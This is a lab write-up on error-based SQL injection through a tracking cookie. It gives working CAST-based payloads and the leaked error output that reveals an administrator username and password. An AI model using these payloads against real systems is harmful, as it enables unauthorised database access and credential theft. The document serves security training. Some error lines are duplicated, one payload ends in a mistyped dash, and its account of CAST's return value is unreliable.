Visible error-based SQL injection

1. This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

2. In the request when I inject single quote after the tracking id, the application responds with this error message:

   Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'PbPjhaaPEJZGJrML''. Expected char

   Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = 'PbPjhaaPEJZGJrML''. Expected char

   The application tells me the query used in backend. That means that this lab is vulnerable to error-based SQL injection.

3. In SQL there is a function called CAST() function. This function is used to convert from data type to another. In penetration testing, this function is used for many different purposes. One of these purposes is error-based information disclosure. Forcing an invalid cast sometimes causes DB errors that leak data or hints.

4. In SQL injection cheat sheet, I found this payload:

   ```
   SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
   > invalid input syntax for integer: "secret"
   ```

   When I inject this payload:

   `TrackingId=' AND CAST((SELECT username FROM users LIMIT 1) as int)--`

   The application responds with this error:

   ERROR: argument of AND must be type boolean, not type integer Position: 42

   ERROR: argument of AND must be type boolean, not type integer Position: 42

   The CAST function returns integer (1 or 0) so I should compare it to integer to make the value Boolean so I will make the payload like this:

   `TrackingId=' AND CAST((SELECT username FROM users LIMIT 1) as int)=1--`

   And here we go, the application returns an error message and retrieves one row that contains the first username which is administrator.

ERROR: invalid input syntax for type integer: "administrator"

ERROR: invalid input syntax for type integer: "administrator"

5. The next and final step to modify the payload is to retrieve the password of the first row which is administrator password. So, I will modify the payload to be like this:
   TrackingId=' AND CAST((SELECT password FROM users LIMIT 1) as int)=1—
   And finally, I extracted the administrator password and logged in successfully.

ERROR: invalid input syntax for type integer: "y27sxdt5bju0g1kufctp"

ERROR: invalid input syntax for type integer: "y27sxdt5bju0g1kufctp"